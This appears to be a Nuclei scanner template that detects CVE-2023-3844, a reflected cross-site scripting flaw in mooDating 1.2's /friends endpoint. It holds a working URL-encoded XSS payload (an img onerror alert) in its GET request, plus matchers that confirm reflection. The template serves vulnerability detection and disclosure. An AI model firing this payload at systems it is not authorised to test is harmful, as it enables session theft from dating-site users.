id: CVE-2023-3844

info:
  name: MooDating 1.2 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    A vulnerability was found in mooSocial mooDating 1.2. It has been declared as problematic. Affected by this vulnerability is an unknown functionality of the file /friends of the component URL Handler. The manipulation leads to cross site scripting. The attack can be launched remotely.
  impact: |
    Unauthenticated attackers can inject malicious JavaScript through URL parameters in the friends endpoint to steal dating platform user session cookies and access personal profile information.
  remediation: |
    Update mooSocial mooDating to a version newer than 1.2 that properly sanitizes and encodes URL parameters in the friends component.
  reference:
    - https://packetstormsecurity.com/files/173691/mooDating-1.2-Cross-Site-Scripting.html
    - https://nvd.nist.gov/vuln/detail/CVE-2023-3844
    - https://vuldb.com/?ctiid.235195
    - https://vuldb.com/?id.235195
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-3844
    cwe-id: CWE-79
    epss-score: 0.05955
    epss-percentile: 0.92543
    cpe: cpe:2.3:a:moosocial:moodating:1.2:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: moosocial
    product: moodating
  tags: cve2023,cve,packetstorm,xss,moodating,moosocial,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/friendsslty3%22%3e%3cimg%20src%3da%20onerror%3dalert(document.domain)%3er5c3m/ajax_invite?mode=model"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 404'
          - 'contains(content_type, "text/html")'
          - 'contains_all(body, "><img src=a onerror=alert(document.domain)>r5c3m", "mooDating")'
        condition: and
# digest: 4b0a00483046022100b27cd17199e48125ef17f4f08fc22c1cfef61a281125bfdae1452732f331e777022100c375f0a38cee917486c26f73009167f4fa240dee70b5d2665be3658fe1c5b699:922c64590222798bb761d5b6d8e72950